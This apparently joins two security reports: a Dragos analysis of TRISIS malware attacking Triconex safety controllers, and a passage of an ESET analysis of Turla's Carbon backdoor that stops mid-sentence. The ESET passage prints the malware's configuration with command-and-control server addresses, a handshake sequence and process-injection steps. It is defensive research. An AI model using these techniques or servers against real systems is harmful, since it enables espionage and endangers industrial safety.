restriction Attack Scenario #2: Unsafe Physical State Likely the most obvious and assumed attack scenario is creating an unsafe physical condition within the target environment resulting in physical damage to the environment. While this may be the most obvious conceptual attack, the requirements for actually executing make this scenario significantly more difficult and thus less likely in reality than scenario #1. Ensuring an SIS alteration results in physical damage or destruction requires knowledge of the underlying physical processes and controls managed by the targeted SIS. More specifically, knowledge of specific process points where removing a logical fail-safe at the SIS will result in an uncontrolled, damaging physical state with no complementary physical safety fail-safe in place to prevent damage. The amount of knowledge required specific to the SIS and process installation targeted is significant, and likely not possible to obtain through purely network espionage means. If even possible, the amount of time, effort, and resources required to: obtain necessary environment information; develop and design software tailored to the target environment; and finally, to maintain access and avoid detection throughout these steps all require a lengthy, highly skilled intrusion. While the above is certainly not impossible in many ways, it is analogous to the efforts required to launch CRASHOVERRIDE the combined requirements make this a less-likely scenario attainable only by highly-skilled, well-resourced adversaries with lengthy timelines. Typical operations safety layering, where SIS forms only part (albeit a large one) in overall safety management, should work to mitigate the worst-case damage a destruction scenario in most instances. SIS Defense Status TLP: WHITE information may be distributed without restriction In theory, SIS equipment is isolated from other operations within the ICS environment, and network connectivity is either extremely limited or non-existent. In practice, operational and convenience concerns often result in more connectivity with other ICS devices than ideal, or that ICS operators may even be aware of. An operator may choose to connect a safety controller to their wider plant network in order to retrieve data from the controller to facilitate business intelligence and process control information gathering. This carries the risk that the safety controller may be affected by malicious network activity, or accessible to an intruder that has penetrated the ICS network. Safety controllers generally have the same security profile as a standard PLC. Controller projects offer password protection; however, projects typically contain two backdoor accounts by default that the user has no control over. While suboptimal from a security perspective, such accounts are vital to ensure administrator-level access and control over the device in an emergency situation. A reverse engineer with moderate skill may uncover these accounts and use them to gain unauthorized access to the project and to the safety controller. While common to many SIS devices, the newer versions of Schneider Electric s Triconex units are not susceptible to this attack. The older controller (which was deployed at the victim site) is protected by following the deployment recommendations, listed below, to prevent arbitrary changes in SIS functionality via a physical control. Newer model controllers removed the backdoor accounts entirely and added X.509 mutual authentication to the controllers. Examining SIS devices generally, backdoor accounts cannot typically be disabled due to the operational need for the reasons outlined above. SIS network isolation is critical in preventing abuse of this feature in vulnerable devices it is appropriate to monitor connections to such systems more so than blocking activity without an understanding of the impact. TRISIS Capabilities TRISIS is a Stage 2 ICS Attack capability, as defined by the ICS Cyber Kill Chain as shown in figure 3. Given its design and assessed use, TRISIS has no role or applicability to IT environments and is a focused ICS effects tool. As a result, TRISIS use and deployment requires that an adversary has already achieved success in Stage 1 of the ICS Cyber Kill Chain and either compromised the business IT network or has identified an alternative means of accessing the ICS network. Once in position, the adversary can deploy TRISIS on its target: an SIS device. TLP: WHITE information may be distributed without restriction Figure 3: ICS Cyber Kill-Chain Reconnaissance Weaponization STAGE Delivery STAGE Exploit STAGE Install / Modify STAGE STAGE STAGE STAGE Develop STAGE Test STAGE Deliver STAGE Install / Modify STAGE Targeting STAGE 1 STAGE 2 STAGE Execute ICS Attack STAGE TLP: WHITE information may be distributed without restriction TRISIS is a compiled Python script using the publicly-available py2exe compiler. This allows TRISIS to execute in an environment without Python installed natively, which would be the case in most ICS environments and especially in SIS equipment. The script aims to change the underlying logic on a target SIS this case, a Schneider Electric Triconex device. Subsequent code analysis indicated the script is designed to target Triconex 3008 processor modules specifically. The executable takes its target as a command-line argument passed to it on execution. The implications of this are specifically in targeting at run-time, unless called through an additional script, and based on a review of the code, limiting TRISIS to impacting a single target per execution. The core logic alteration functionality works through a combination of four binaries that are uploaded to the target SIS: Two embedded binary payloads within the compiled Python script. Two additional, external binaries that are specifically referenced by name within the script but located in separate files. Dragos analysis indicates that the embedded items are used to prepare and load the external modules, which contain the replacement logic. As part of a general attack flow, an adversary would need to take the following steps to deploy and execute TRISIS as shown in figure 4 on the next page. TLP: WHITE information may be distributed without restriction Completion of Stage 1 of the ICS Cyber Kill Chain: Identify and gain access to a system able to communicate with target SIS. Figure 4: TRISIS Attack Flow Stage 1 of the ICS Cyber Kill Chain Completed Stage 2 Develop: Identify target SIS type and develop TRISIS with replacement logic and loader Stage 2 Test: TRISIS Ensure TRISIS works as intended, likely off network in the adversary environment Stage 2 Deliver: Step 1: Verify Communications to SIS Transfer TRISIS to the SIS which contains the loader module for the new logic and support binaries that provide the new logic Stage 2 Install/Modify: Upon running the TRISIS executable, disguised as Triconex software for analyzing SIS logs, the malicious software utilizes the embedded binary files to identify the appropriate location in memory on the controller for logic replacement and uploads the initializing code (4-byte sequence) Step 2: Identify Memory Location for Step 1: VerifyLogic Communications to SIS Upload Step 3: Copy Start Code for Logic Step 1: Verify Communications to SIS Replacement and Verify Stage 2 Execute ICS Attack: TRISIS verifies the success of the previous step and then uploads new ladder logic to SIS Step 4: 1: Upload Verify Communications New Ladder Logic to to SISSIS TLP: WHITE information may be distributed without restriction Based on the description above, TRISIS itself represents a facilitating capability or framework for the actual ladder logic change that has the potential, as outlined in the scenarios above, to alter the environment. As such, TRISIS itself could be repurposed to deliver alternative payloads to either deliver different logic files (the external binaries uploaded by TRISIS to the target SIS) or to utilize differently embedded binaries to target different SIS types entirely. While both are quite plausible, the work involved would be significant and represents the largest amount of effort and required resources for TRISIS efficacy: ensuring that the embedded binaries identify the correct portion of SIS memory for replacement ladder logic upload, and then developing appropriate ladder logic for the target system. Neither of these is trivial, and make scaling or spreading this attack to other environments and potentially the same Triconex devices but in different installations extremely difficult. Dragos was not provided with the external binaries used in the TRISIS attack, and we are therefore unable to determine what precise impact would result on the victim SIS. Nonetheless, any modification to SIS in an operational environment represents a significant risk and potential for damage or even loss of life. The precise attack path is also unknown at this time, but based upon available information and functionality of TRISIS, the target SIS must be network accessible from a device the adversary was able to compromise and establish reasonably persistent command and control over. As a result, TRISIS activity from initial installation through periodic control followed by ultimate payload delivery represents multiple steps across Stages 1 and 2 of the ICS Cyber Kill Chain. While TRISIS as a Python program allows for some level of flexibility in that different modules could be referenced or included to provide different effects, as an attack vector such alterations are difficult to execute in practice for the reasons outlined above. As such, TRISIS is a very focused, target-specific malware that would not be capable of delivering equivalent effects in another environment without significant modification. An additional point to emphasize is that no real vulnerability or exploit is utilized by TRISIS. Rather, TRISIS functionality depends upon understanding how Triconex SIS devices function and specifics about the process environment. With a full understanding of these items, the adversary then must design and deploy ladder logic to create the desired impact on the target SIS. TLP: WHITE information may be distributed without restriction Implications TRISIS represents, in several ways, game-changing impact for the defense of ICS networks. While previously identified in theoretical attack scenarios, targeting SIS equipment specifically represents a dangerous evolution within ICS computer network attacks. Potential impacts include equipment damage, system downtime, and potentially loss of life. Given these implications, it is important to ensure nuance in how the industry responds and communicates about this attack. First, adversaries are becoming bolder, and an attack on an SIS is a considerable step forward in causing harm. This requires the industry to continue its focus on reliability and safety by pursuing appropriate and measured steps towards securing industrial processes. Information technology security best practices are not necessarily appropriate to such situations and an ICS, and a mission-focused approach must be taken into consideration of secondary effects. Second, the attack of an SIS cannot be taken lightly but should not be met with hype and fear. Eventually, information about this attack will leak to the media and public community. At that point, those in the industrial security community can have a nuanced conversation noting that this attack is not a highly scalable attack that has immediate repercussions to the community. Or simply stated, the public nor government should invoke fear. The industrial asset owner, operator, and vendor community have had a significant dedication to safety and reliability, and now it is obvious that the community is taking steps forward in security. Dragos cautions the community not to use this attack to further other causes as the impact of hype can be far-reaching and crippling. TRISIS is a learning moment to push for more security but in a proper and measured way. Third, this attack does have implications for all industrial asset owners and operators that leverage SIS. The fact that Schneider Electric s Triconex was targeted should have no bearing on how defenders respond to this case. This was a clear attack on the community. There can be no victim blaming or product shaming that is reasonable nor will it make the community better. The implication is that adversaries are targeting SIS and defenders must live in this reality presented adapting as appropriate to ensure safety and reliability of the operations our society depend upon. TLP: WHITE information may be distributed without restriction Defending Against TRISIS SIS system implementation should begin with relevant vendor recommendations. The recommendations surrounding methods on network isolation are especially critical to preserving SIS autonomy. In the case of TRISIS, Schneider Electric has provided the following recommendations for Triconex Controllers Safety systems should always be deployed on isolated networks. Physical controls should be in place so that no unauthorized person would have access to the safety controllers, peripheral safety equipment, or the safety network. All controllers should reside in locked cabinets and never be left in the Program mode. All Tristation terminals (Triconex programming software) should be kept in locked cabinets and should never be connected to any network other than the safety network. All methods of mobile data exchange with the isolated safety network such as CDs, USB drives, etc. should be scanned before use in the Tristation terminals or any node connected to this network. Laptops that have connected to any other network besides the safety network should never be allowed to connect to the safety network without proper sanitation. Proper sanitation includes checking for changes to the system not simply running anti-virus software against it (in the case of TRISIS no major anti-virus vendor detected it at the time of its use). Operator stations should be configured to display an alarm whenever the Tricon key switch is in the Program Mode. It is important to understand that TRISIS represents only the second stage of the ICS Cyber Kill Chain. This report does not infer or suggest what stage 1 of the attack may be and instead focuses on what has been confirmed through capability analysis. This puts defenders in the position of not stopping activities prior to impact but during or after the SIS impact. Keep in mind there is a wide range of defenses to detect and stop the attacker prior to exposing human safety and equipment during stage 1 and earlier stage 2 phases. TLP: WHITE information may be distributed without restriction Stage 2 ICS Attack: Delivery TRISIS requires being executed from a host that can directly communicate with the SIS controller(s). In figure 1 cited above any host on L2: Process LAN can serve this purpose. This allows more options for the attacker and greater scope of what needs to be defended. Delivery of TRISIS to any one of these hosts may be accomplished through network transfer or USB/media transfer. Strong architecture can deter, delay or detect adversarial actions as they deliver TRISIS from another network to a host that can communicate to the SIS environment. This is traditional network concepts of segmentation through firewalls, dual factor authentication of interactive access, etc. Once architectural foundations are in place, both active and passive defenses are needed. Automated log collection, passive network collection provides the basis of information needed for forensic analysis after an event while strong tailoring of firewalls may limit/prevent delivery or minimally serve as a triggering event for defenses to investigate and respond. Stage 2 ICS Attack: Install/Modification Once TRISIS resides on a host that has direct access, it is now in a dormant state until either the attacker or unwitting user executes the binary. Once the TRISIS package is on the host, there are several options for the defenders to stop or detect it proactively. If the network architecture were already revised to limit what hosts can communicate to the SIS, then the number of hosts that can successfully run TRISIS against SIS has already been reduced. Again, this limits the attacker s options while allowing more focused security controls. Strong mechanisms to limit removable media can be considered- both technical (USB whitelisting or outright disabling of USB ports) or administrative (enforcing scanning of a USB drive prior to usage in production equipment) are valuable. Strong filesystem permissions or execution whitelisting technology become much easier to implement for engineering workstations or hosts that have access to communicate with SIS. Reliance on traditional signature-based detection (antivirus) is not sufficient. At the time of discovery, TRISIS was undetected by all antivirus engines. Instead, a more proactive approach is required. For instance, Worldview customers were provided Yara signatures to identify TRISIS. Those signatures also detect any binary compiled with py2exe as any such tool within an ICS or SIS environment is an outlier and immediately suspect. Additional proactive baselining can also occur. Hosts such as engineering workstations are often not well managed. They generally are not part of Active Directory and have the option of running a wide range of agents. However, baselining of known files, applications, services, USB insertions, and user accounts can find deviations that could detect TRISIS files on the system. This can offer assurances of the limited number of hosts that can communicate to the SIS. TLP: WHITE information may be distributed without restriction Stage 2 ICS Attack: Execute The execution of the TRISIS attack can be broken down into two components: the launch of the process on the host and the network communications from the compromised host to the SIS controller(s). Architecturally limiting the TRISIS executable to run on the host via execution and/or hampering its ability to communicate to the controllers via windows host firewall would stop any impact. Additionally, proactive detection such as identifying when a host is communicating with an SIS controller can serve as an alarm. Even with strong architectures, misconfigurations occur that may allow a host that shouldn t have access to an SIS to communicate to it. Such alarms, even if they fail to stop an attack, are vital to understanding and isolating the cause of the attack. SIS environments can be some of the most defensible systems. They are largely simplistic and static- usually the most static of any ICS environment. However, good architecture, passive defenses, and active defenses are key to understand when an attack is in progress and how to repel when the attackers use novel techniques. There is no such thing as an undetectable or unpreventable cyber attack, and as defenders, it should be a priority to secure and monitor the safety systems responsible for protecting human life, the environment, and the physical processes. Dragos applies expert human intelligence and behavioral analytics to redefne industrial control system (ICS) cybersecurity. Its industry-first, ICS/OT cybersecurity ecosystem provides control systems operators with unprecedented situational awareness over their environments, with comprehensive threat intelligence, detection, and response capabilities. Dragos solutions include the Dragos Platform, providing ICS/OT-specifc threat detection and response; Dragos Threat Operations Center, providing ICS compromise assessment, threat hunting, and incident response services; and Dragos WorldView, providing global, ICS-specifc threat intelligence. Headquartered in metropolitan Washington DC, Dragos team of ICS cybersecurity experts are practitioners who ve lived the problems the industry faces hailing from across the U.S. Intelligence Community to private sector industrial companies. TLP: WHITE information may be distributed without restriction Who Did It? Achieving a level of confidence on attribution is not as difficult as often positioned. However, achieving a high confidence of attribution can be incredibly difficult without access to a significant set of data or a long period of historical analysis across numerous intrusions into victim environments. Infrastructure attacks are often geopolitically sensitive topics that can carry real considerations between states. In addition, there is little to no value in true attribution (state, agency, or operator identity) to defense teams. In many cases, attribution can actually negatively affect defense teams. Due to the lack of value to defenders and the ramifications of incorrect attribution Dragos does not comment publicly on attribution. Is TRISIS a Big Deal? TRISIS is the fifth ever publicly known ICS-tailored malware following STUXNET, HAVEX, BLACKENERGY2, and CRASHOVERRIDE. It is the first ever publicly known ICS-tailored malware to target safety instrumented systems. For these reasons, it is of significant importance to the ICS community, and it should be analyzed fully to capture lessons learned. The malware is not capable of scalable and long-term disruptions or destruction nor should there be any hype about the ability to leverage this malware all around the community. Attacks on an industrial process that are as specific in nature as TRISIS are considerably difficult to repurpose against other sites although the tradecraft does reveal a blueprint to adversaries to replicate the effort. However, because SIS are specifically designed and deployed to ensure the safety of the process, environment, and human life an assault on one of these systems is bold and unsettling. While fear and hype are not appropriate in this situation, this is absolutely an escalation in the types of attacks we see against ICS and should not be taken lightly. Could This Attack Lead to Loss of Life? Yes. BUT, not easily nor likely directly. Just because a safety system s security is compromised does not mean it s safety function is. A system can still fail-safe, and it has performed its function. However, TRISIS has the capability to change the logic on the final control element and thus could reasonably be leveraged to change set points that would be required for keeping the process in a safe condition. TRISIS would likely not directly lead to an unsafe condition but through its modifying of a system could deny the intended safety functionality when it is needed. Dragos has no intelligence to support any such event occurred in the victim environment to compromise safety when it was needed. What are the Indicators of Compromise? Dragos supplied Yara rules to our ICS WorldView customers to help defenders scope their environments for this or similar malware. However, indicators of compromise (IOCs) are not appropriate in most cases for industrial threats and capabilities. Technical data is often not similar in adversary capabilities between victims. Defenders should instead focus on defense recommendations and the adversary tradecraft and techniques. TLP: WHITE information may be distributed without restriction I Do Not Use Triconex Should I Care About TRISIS? Vendors targeted in specific malware implementations such as Schneider Electric with TRISIS are victims. The malware was not designed because Triconex was a good choice for this attack; the malware would have been designed because the intended victim was using Triconex. If the victim was leveraging a different type of SIS, it is reasonable to conclude the malware would have targeted a different vendor. Therefore, defenders should instead focus on monitoring their environments and being aware of how they have SIS configured if it s deployed according to best practices, and the ability to respond if there was an issue detected with the SIS. The Triconex connection is specific to this malware, but the lessons learned apply to anyone using safety systems. What Questions Should Executives Ask? Executives should ask, and thus their security teams should anticipate these questions, questions such as: Do we have an SIS and if so where and what type(s)? If we needed to collect data from the environment or validate the system has not been modified could we? If the SIS is disrupted is there a cybersecurity component to the processes in place to determine root cause analysis and if an attack has occurred? Do we have an incident response plan that factors in the loss of the SIS even if it does not immediately lead to an unsafe situation? Is our SIS properly segmented off of the network and if not what monitoring do we have in place to ensure it is not impacted? I Want to Speak on or Write About Safety Instrumented System Security What Should I Know? Please ensure you talk to a certified safety engineer. The security of SIS is important, but safety engineering is a very specific skillset. What seems feasible and nuanced from security professionals may not fully represent the reality of the situation. I.e., please avoid sensationalist writing on the subject by including both security and an engineering input. There have been presentations and topics at information security conferences on safety systems before that impress generalist audiences but are known to the community to be inaccurate or simplistic; fantastic research but not holistic in how it is often implemented or discussed. What that translates into is the what is possible in a given scenario should have an expert on the threat and an expert on the SIS speaking. Contact Information 1745 Dorsey Road Hanover, MD 21076 USA dragos.com | info@dragos.com Carbon Paper: Peering into Turla s second stage backdoor www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/ By ESET Research posted 30 Mar 2017 - 02:00PM March 30, 2017 The Turla espionage group has been targeting various institutions for many years. Recently, we found several new versions of Carbon, a second stage backdoor in the Turla group arsenal. Last year, a technical analysis of this component was made by Swiss GovCERT.ch as part of their report detailing the attack that a defense firm owned by the Swiss government, RUAG, suffered in the past. This blog post highlights the technical innovations that we found in the latest versions of Carbon we have discovered. Looking at the different versions numbers of Carbon we have, it is clear that it is still under active development. Through the internal versions embedded in the code, we see the new versions are pushed out regularly. The group is also known to change its tools once they are exposed. As such, we have seen that between two major versions, mutexes and file names are being changed. Infection vectors The Turla group is known to be painstaking and work in stages, first doing reconnaissance on their victims systems before deploying their most sophisticated tools such as Carbon. 1/25 A classic Carbon compromise chain starts with a user receiving a spearphishing email or visiting a previously compromised website, typically one that the user visits regularly technique known as a watering hole attack. After a successful attack, a first stage backdoor such as Tavdig or Skipper is installed on the user machine. Once the reconnaissance phase is over, a second stage backdoor, like Carbon, is installed on key systems. Technical analysis Carbon is a sophisticated backdoor used to steal sensitive information from targets of interest by the Turla group. This malware shares some similarities with Uroburos , a rootkit used by the same group. The most relevant resemblance is the communication framework. Indeed, both of them provide communication channels between different malware components. The communication objects are implemented in the same way, the structures and vtables look identical except that there are fewer communication channels provided in Carbon. Indeed, Carbon might be a lite version of Uroburos (without kernel components and without exploits). For Turla group to decide to install Carbon on a system, a (stage 1) recognition tool is usually delivered first to the target: this tool collects several pieces of information about the victim machine and its network (through Tavdig or Skipper for example). If the target is considered interesting enough, it will receive more sophisticated malware (such as Carbon or Uroburos). Global architecture The Carbon framework consists of: a dropper that installs the carbon components and its configuration file a component that communicates with the C&C an orchestrator that handles the tasks, dispatches them to other computers on the network and injects into a legitimate process the DLL that communicates with the C&C a loader that executes the orchestrator Carbon Dating The orchestrator and the injected library have their own development branch. Thanks to the compilation dates and the internal versions numbers hardcoded in the PE files, we might have the following timeline: 2/25 Table 1 Carbon development timeline Carbon files The files from the Carbon framework can have different names depending on the version but they all keep the same internal name (from the metadata) regardless of the version: the dropper: SERVICE.EXE the loader: SERVICE.DLL or KmSvc.DLL the orchestrator: MSIMGHLP.DLL the injected library: MSXIML.DLL Each of these files exist in 32bit and in 64bit versions. Working directory Several files are created by Carbon to keep logs, tasks to execute and configuration that will modify the malware s behavior. The contents of the majority of these files are encrypted with the CAST-128 algorithm . A base working directory will contain the files/folders related to Carbon. This directory is chosen randomly among the folders in %ProgramFiles% but excluding WindowsApps The filenames are hardcoded in the orchestrator. The same names are used in the 3.7x+ branch. Because the injected library accesses the same files as the orchestrator, it is another easy way to link a library version and an orchestrator. Carbon 3.7x files tree view: 3/25 \%carbon_working_folder\% // base folder 0208 // tasks results and logs files C_56743.NLS // contains list of files to send to the C&C server, this file is neither compressed nor encrypted asmcerts.rs getcerts.rs miniport.dat // configuration file msximl.dll Nls // contains tasks (commands to be executed or PE file) and their configuration files // injected library (x32) a67ncodc.ax // tasks to be executed by the orchestrator b9s3coff.ax // tasks to be executed by the injected library System // plugins folder bootmisc.sdi // not used qavscr.dat // error log vndkrmn.dic // log ximarsh.dll // injected library (x64) Since version 3.80, all filenames have changed. Carbon 3.8x files tree view: 4/25 \carbon_working_folder\% // base folder 0409 // contains tasks (commands to be executed or PE file) and their configuration files cifrado.xml encodebase.inf // tasks to be executed by the orchestrator 1033 // tasks results and logs files dsntype.gif // contains list of files to send to the C&C server, this file is neither compressed nor encrypted // tasks to be executed by the injected library en-US // plugins folder asmlang.jpg // not used fsbootfail.dat // error log mkfieldsec.dll // injected library (x32) preinsta.jpg // log wkstrend.xml // configuration file xmlrts.png zcerterror.png File access In the case of the majority of the files from the Carbon working folder, when one is accessed by the malware, the following steps are taken: a specific mutex is used to ensure its exclusive access. the file is decrypted (CAST-128) when the operations on the file are done, the file is reencrypted (CAST-128) the mutex is released Mutexes The following mutexes are created by the orchestrator in Carbon 3.7x: Global\\MSCTF.Shared.MUTEX.ZRX (used to ensure exclusive access to vndkrmn.dic Global\\DBWindowsBase (used to ensure exclusive access to C_56743.NLS Global\\IEFrame.LockDefaultBrowser (used to ensure exclusive access to b9s3coss.ax Global\\WinSta0_DesktopSessionMut (used to ensure exclusive access to a67ncodc.ax Global\{5FA3BC02-920F-D42A-68BC-04F2A75BE158} (used to ensure exclusive access to new files created in folder) 5/25 Global\\SENS.LockStarterCacheResource (used to ensure exclusive access to miniport.dat Global\\ShimSharedMemoryLock (used to ensure exclusive access to asmcerts.rs In carbon 3.8x, the filenames and the mutex names have changed: Global\\Stack.Trace.Multi.TOS (used to ensure exclusive access to preinsta.jpg Global\\TrackFirleSystemIntegrity (used to ensure exclusive access to dsntype.gif Global\\BitswapNormalOps (used to ensure exclusive access to cifrado.xml Global\\VB_crypto_library_backend (used to ensure exclusive access to encodebase.inf Global\{E41B9AF4-B4E1-063B-7352-4AB6E8F355C7} (used to ensure exclusive access to new files created in 0409 folder) Global\\Exchange.Properties.B (used to ensure exclusive access to wkstrend.xml Global\\DatabaseTransSecurityLock (used to ensure exclusive access to xmlrts.png These mutexes are also used in the injected dll to ensure that the orchestrator has been executed. Configuration File The configuration file affects the malware s behavior. The file format is similar to files used by Windows. It contains among others: object_id that is a unique uuid used to identify the victim, when the value is not set in the file, it is generated randomly by the malware a list of processes into which code is injected (iproc) the frequency and time for task execution / backup logs / connection to the C&C ([TIME]) the IP addresses of other computers on the network ([CW_LOCAL]) the C&C server addresses ([CW_INET]) the named pipes used to communicate with the injected library and with the other computers ([TRANSPORT]) This file might be updated later. Indeed, in the communication library, some cryptographic keys are used to encrypt/decrypt data and these keys are retrieved from a section [CRYPTO] in the configuration file that does not exist when the file is dropped from the loader resources. Carbon 3.77 configuration file: [NAME] object_id= iproc = iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe ex = #,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe 6/25 [TIME] user_winmin = 1800000 user_winmax = 3600000 sys_winmin = 3600000 sys_winmax = 3700000 task_min = 20000 task_max = 30000 checkmin = 60000 checkmax = 70000 logmin = 60000 logmax = 120000 lastconnect=111 timestop= active_con = 900000 time2task=3600000 [CW_LOCAL] quantity = 0 [CW_INET] quantity = 3 address1 = doctorshand.org:80:/wp-content/about/ address2 = www.lasac.eu:80:/credit_payment/url/ address3 = www.shoppingexpert.it:80:/wp-content/gallery/ [TRANSPORT] system_pipe = comnap spstatus = yes adaptable = no 7/25 [DHCP] server = 135 [LOG] logperiod = 7200 [WORKDATA] run_task= run_task_system= Logfile The Carbon framework includes a logfile that is used to log actions performed by the malware and information on the system that can be useful to the malware operator (for example if an analysis tool such as WireShark is running on the machine). The log s format has not changed since Carbon 3.71: Date|Time|Object-Id|Source|Message example [LOG] start=1 20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|OPER|New object ID generated '8hTdJtUBB57ieReZAOSgUYacts'| 20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|ST|3/81|0| 20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|START OK This file is periodically backed up and sent to the C&C. Dropper The dropper is the only executable that is not a DLL. It is the first PE file to be executed: it is used to extract the other components from its resources. The PE files that are used to load the main components are extracted into the Windows system directory while the orchestrator, the library used to communicate with the C&C and the configuration file are extracted into the Carbon working directory. 8/25 A new section is appended into a random .inf file from %SystemRoot%\INF. The section name is the volume serial disk number of the compromised machine and a value root created with the chosen Carbon working directory. Example: [5049654F] root="C:\Program Files\Windows Portable Devices" Loader This part of the component is used to load the orchestrator. A service that ensures Carbon s persistency is created. Its name can either be srservice ipvpn or hkmsvc depending of the operating system version running on the compromised machine. The Carbon working directory is retrieved by walking through the %windir%\inf folder and looking for the file that contains the Carbon base path. Last but not least, the function ModuleStart (in Carbon 3.71) or ModStart (since Carbon 3.77) from the orchestrator (located in the Carbon base folder) is called. Orchestrator The orchestrator is the main component of the Carbon framework. It is mainly used to inject code into a process that communicates legitimately over the Internet and to dispatch the tasks received from the injected library to other computers on the same network either through named pipes or TCP. Seven threads are created by the malware. It is easy to identify Carbon s characteristics because each thread has a specific role: Configuration fetching Because the configuration file can be updated by the malware, some attributes like the C&C server addresses are monitored every 10 minutes. Check Carbon storage folder periodically There is a storage folder located in the Carbon working directory. This folder contains some files downloaded from the C&C server (tasks that are either commands to be executed or PE files, and their configuration files). This thread will run continuously and check every two hours whether there is still enough space available in this folder; if not, a notification is written into the logfile. 9/25 Task execution The execution of the tasks in the context of the orchestrator process is very similar to the way in which it is performed in the communication library (cf Communication library / Tasks execution). Unlike the communication library, it is the file encodebase.inf (for Carbon v3.8x) or a67ncode.ax that contains the list of the tasks to execute. Each line of this file is composed in the following way: task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath | [execution_mode | username | password] The five first fields are required, while the last three are optional. If the field execution_mode exists, its value will affect the way the task is executed: 0 or 1: normal execution 2: the task is executed in the security context of a specific user (credentials are provided through the username/password fields) 3 or 4: the task is executed in the security context of the user represented by the explorer.exe token Like Uroburos/Snake, Carbon can dispatch tasks to other computers from the same network via named pipe or TCP. It is useful to be able to dispatch and execute tasks on computers that do not have Internet access. Communication channels Uroburos used several types of communication transports than can be categorized as follows: type 1: TCP type 2: enc, np, reliable, frag, m2b, m2d type 3: t2m type 4: UDP, doms, domc 10/25 Carbon uses a reduced number of communication channels: type 1: TCP, b2m type 2: np, frag, m2b The data sent to peers are usually fragmented and transported either by TCP or via a named pipe. If, for example, fragmented data are sent from a computer to another one by a named pipe, an object frag.np is set up. In this case the mother class frag constructor will be called followed by a call to the constructor subclass There is a structure composed of several handlers for each objects: initialize communication, 11/25 connection (to a pipe / IP address), read data, send data etc. How a task is forwarded to another computer Several steps are performed to send data from one computer to another: a communication channel is created (frag.np or frag.tcp object) with a specific named pipe / ip address options are given to the object communication (for example : the fragment s size, information about the peer etc.) connection to the peer an authentication step is performed between the host and the peer: there is a handshake process where the host is sending the magic value A110EAD1EAF5FA11 and expects to receive C001DA42DEAD2DA4 from the peer a command is sent to the peer where the host sends the victim uuid and expects to receive the same uuid if the authentication was successful, the data are sent to the peer All the communication between the host and the peer are encrypted with CAST-128 Note that this P2P feature is also implemented in the communication DLL. Plugins This malware supports additional plugins to extend its functionalities. In the configuration file, there is a section named PLUGINS . It might not exist when the configuration file is dropped from the loader resources but this file can be updated by the malware. The section PLUGINS contains a line formed this way: %plugin_name%=%enabled%|%mode%[:%username%:%password%]|%file_path% %file_path% can be either the path to a PE file or to a file containing a command line to be executed. %enabled% is a string that is used to know if the plugin has to be executed. If it is the case, that string value is enabled The attribute %mode% is used to control the context in which to execute the PE file/command line. It can be either: 1 = execution with current user privilege in the current process context through CreateProcess(). 2 = execution as the user specified in the configuration (:%username%:%password% attributes), the token of this specific user is retrieved through the LogonUserAs() function. 3 = execution in the security context of the user represented by the explorer.exe token (the token of the process explorer.exe is duplicated and passed through the 12/25 CreateProcessAsUser() function. 4 = similar than 3 but the environment variables for the user represented by the explorer.exe token are retrieved and passed to the function CreateProcessAsUser() If it is a PE file: the file is loaded into the malware process memory the module is parsed to check if it is a DLL if the module is a DLL and exports a function ModStart (since Carbon 3.77) or ModuleStart (for older versions of Carbon), a new thread is created to execute this function. if the module is not a DLL but a valid PE, it is executed from the entry point. Injection of the communication library into remote processes The library that is used to communicate with the C&C server is injected into remote processes. In order to know where to inject this DLL, the configuration file is parsed. The section [NAME] contains a field iproc containing a list of processes that can legitimately communicate to Internet. Example: [NAME] iproc = iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe For each process on the list that is running on the system, if its parent process name is either explorer.exe or ieuser.exe , the DLL will be injected into this process. The process injection is very classical: the functions CreateToolHelp32Snapshot / Module32FirstW / Module32NextW are used to retrieve the base address of the module kernel32.dll the module EAT is parsed to get the address of the function LoadLibraryW the privilege SeDebugPrivilege is enabled for the current process memory is allocated into the remote process and the library path is written into it NtCreateThreadEx or CreateRemoteThread (if the address of the first function cannot be retrieved) is called to execute LoadLibraryW to load the DLL into the memory of the remote process * Communication library The following analysis is based on the version 4.x of msximl. This component may have changed in the latest versions. Configuration fetching 13/25 Besides the code in the Configuration fetching thread from the orchestrator (which is similar), a field sethttp1 is retrieved from the [TRANSPORT] section. If this value is set, HTTP 1.1 will be used for future connections. Tasks execution The tasks are retrieved from the C&C server. The tasks to be executed by the communication library are listed in the file b9s3coff.ax (for Carbon v3.7x) or cifrado.xml (for Carbon v3.8x). Each line of this file is composed in the following way: task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath The task file and its config are decrypted (CAST-128) and the task executed. There are some options that are retrieved from the Carbon configuration file: time2task is used to set a timeout for the task execution (1 hour by default) while task_min and task_max are used as to wait a random time between the execution of the tasks on the task list (the random time will be set between task_min and task_max ). These parameters come from the section [TIME]. If the task is a valid DLL file, it is loaded in the current process memory and a new thread is created to execute its start export. Otherwise, this is probably a command to execute. In this case, the configuration file is parsed. Like the Carbon configuration file, the task configuration file is formed as a windows file and should contain a section [CONFIG] with the following parameters: [CONFIG] NAME ( cmd.exe by default) RESULT ( stdout by default) COMPRESSION ( by default) DELETE ( by default) The command with its arguments is executed through CreateProcess() function and the results are stored in the %task_result_filepath% file if the RESULT option is not set to stdout , while error or additional info are added to the task logfile. If the option RESULT is set to stdout: the result task file is deleted and the task execution output is written to the log task file the line task_id | | task_log_filepath | object_id is added at the end of the file C_56743.NLS (Carbon 3.7x) or dsntype.gif (Carbon 3.8x) Otherwise: 14/25 the task execution is outputted to the task result file and the errors / additional info to the task logfile the line task_id | | task_log_filepath | task_result_filepath | object_id is added at the end of the file C_56743.NLS (Carbon 3.7x) or dsntype.gif (Carbon 3.8x) In both cases, the same line as written into C_56743.NLS is also written into the field run_task from the Carbon configuration file. It might be intended as a way for the malware authors to know which is the last task executed when the configuration file is sent to the C&C server (check Configuration file backup Log rotation The logfile is backed up and sent to the C&C server periodically (by default this is done every two hours). Like the backup of the configuration file, this action is performed only during specific times of the day. Indeed, the log rotation will be performed only when the current local time is in the range of what is defined in the configuration file. The fields wh_min and wh_max are retrieved from the [TIME] section of the configuration file (by default: 8 and 20). The thread will execute the code only if the current hour of the day is between 